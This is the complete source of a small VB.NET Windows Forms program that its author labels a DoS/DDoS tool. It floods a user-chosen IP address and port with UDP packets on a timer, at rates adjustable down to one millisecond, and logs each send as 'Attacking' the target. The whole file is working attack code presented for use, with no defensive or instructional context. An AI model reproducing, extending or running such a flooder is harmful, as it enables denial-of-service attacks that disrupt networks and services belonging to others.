Ima Firin Mah Lazor DOS/DDOS by MrAshitaka

Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics

Public Class Form1

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick

        Try

            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytcommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, TextBox2.Text)
            bytcommand = Encoding.ASCII.GetBytes(TextBox3.Text)
            udpClient.Send(bytcommand, bytcommand.Length)
            ListBox1.Items.Add("Attacking " + TextBox1.Text + " With Data")
            ListBox1.Items.Add("IMA FIRIN MAH LAZOR!")
            ListBox1.Items.Add("")
            Label7.Text = Label7.Text + 1
        Catch ex As Exception
            Label8.Text = Label8.Text + 1
        End Try
    End Sub

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        If TrackBar1.Value = 0 Then
            Timer1.Interval = 500
        ElseIf TrackBar1.Value = 1 Then
            Timer1.Interval = 450
        ElseIf TrackBar1.Value = 2 Then
            Timer1.Interval = 400
        ElseIf TrackBar1.Value = 3 Then
            Timer1.Interval = 350
        ElseIf TrackBar1.Value = 4 Then
            Timer1.Interval = 300
        ElseIf TrackBar1.Value = 5 Then
            Timer1.Interval = 250
        ElseIf TrackBar1.Value = 6 Then
            Timer1.Interval = 200
        ElseIf TrackBar1.Value = 7 Then
            Timer1.Interval = 150
        ElseIf TrackBar1.Value = 8 Then
            Timer1.Interval = 100
        ElseIf TrackBar1.Value = 9 Then
            Timer1.Interval = 50
        ElseIf TrackBar1.Value = 10 Then
            Timer1.Interval = 1
        End If
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
        ListBox1.Items.Clear()
        Label7.Text = "0"
        Label8.Text = "0"
    End Sub
End Class